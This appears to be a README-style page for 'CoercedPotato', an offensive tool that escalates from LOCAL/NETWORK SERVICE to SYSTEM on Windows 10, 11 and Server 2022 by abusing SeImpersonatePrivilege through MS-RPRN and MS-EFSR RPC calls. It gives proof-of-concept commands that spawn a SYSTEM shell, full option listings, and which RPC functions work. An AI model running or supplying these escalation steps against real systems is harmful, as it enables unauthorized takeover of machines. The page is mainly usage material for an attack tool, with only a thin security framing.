In the realm of cybersecurity, understanding the vulnerabilities within operating systems is paramount.

“Coerced Potato” delves into the intricate world of Windows 10, Windows 11, and Server 2022, shedding light on privilege escalation through SeImpersonatePrivilege.

Join us as we explore the intricacies of this exploit and unveil the potential risks it poses, providing valuable insights into securing your Windows systems.

From Patate (LOCAL/NETWORK SERVICE) to SYSTEM by abusing SeImpersonatePrivilege on Windows 10, Windows 11 and Server 2022.

For more information: an article is coming very soon 😀

A very quick PoooooC:

.\CoercedPotato.exe -c whoami

An other PoC with an interactive shell:

.\CoercedPotato.exe -c cmd.exe

Usage

You can check the help message using the --help option.

                                                                  
   ____                            _ ____       _        _        
  / ___|___   ___ _ __ ___ ___  __| |  _ \ ___ | |_ __ _| |_ ___  
 | |   / _ \ / _ \ '__/ __/ _ \/ _` | |_) / _ \| __/ _` | __/ _ \ 
 | |__| (_) |  __/ | | (_|  __/ (_| |  __/ (_) | || (_| | || (_) |
  \____\___/ \___|_|  \___\___|\__,_|_|   \___/ \__\__,_|\__\___/ 
                                                                  
                                           @Hack0ura @Prepouce    
                                                                  
CoercedPotato is an automated tool for privilege escalation exploit using SeImpersonatePrivilege or SeImpersonatePrimaryToken.
Usage: .\CoercedPotato.exe [OPTIONS]

Options:
  -h,--help                   Print this help message and exit
  -c,--command TEXT REQUIRED  Program to execute as SYSTEM (i.e. cmd.exe)
  -i,--interface TEXT         Optionnal interface to use (default : ALL) (Possible values : ms-rprn, ms-efsr
  -n,--exploitId INT          Optionnal exploit ID (Only usuable if interface is defined) 
                               -> ms-rprn : 
                                 [0] RpcRemoteFindFirstPrinterChangeNotificationEx()
                                 [1] RpcRemoteFindFirstPrinterChangeNotification()
                               -> ms-efsr 
                                 [0] EfsRpcOpenFileRaw()
                                 [1] EfsRpcEncryptFileSrv()
                                 [2] EfsRpcDecryptFileSrv()
                                 [3] EfsRpcQueryUsersOnFile()
                                 [4] EfsRpcQueryRecoveryAgents()
                                 [5] EfsRpcRemoveUsersFromFile()
                                 [6] EfsRpcAddUsersToFile()
                                 [7] EfsRpcFileKeyInfo() # NOT WORKING
                                 [8] EfsRpcDuplicateEncryptionInfoFile()
                                 [9] EfsRpcAddUsersToFileEx()
                                 [10] EfsRpcFileKeyInfoEx() # NOT WORKING
                                 [11] EfsRpcGetEncryptedFileMetadata()
                                 [12] EfsRpcEncryptFileExSrv()
                                 [13] EfsRpcQueryProtectors()
                              
  -f,--force BOOLEAN          Force all RPC functions even if it says 'Exploit worked!' (Default value : false)
  --interactive BOOLEAN       Set wether the process should be run within the same shell or open a new window. (Default value : true)
                                                                                                                                                                                                                                             
                                                                                                                                                                                                                                                ```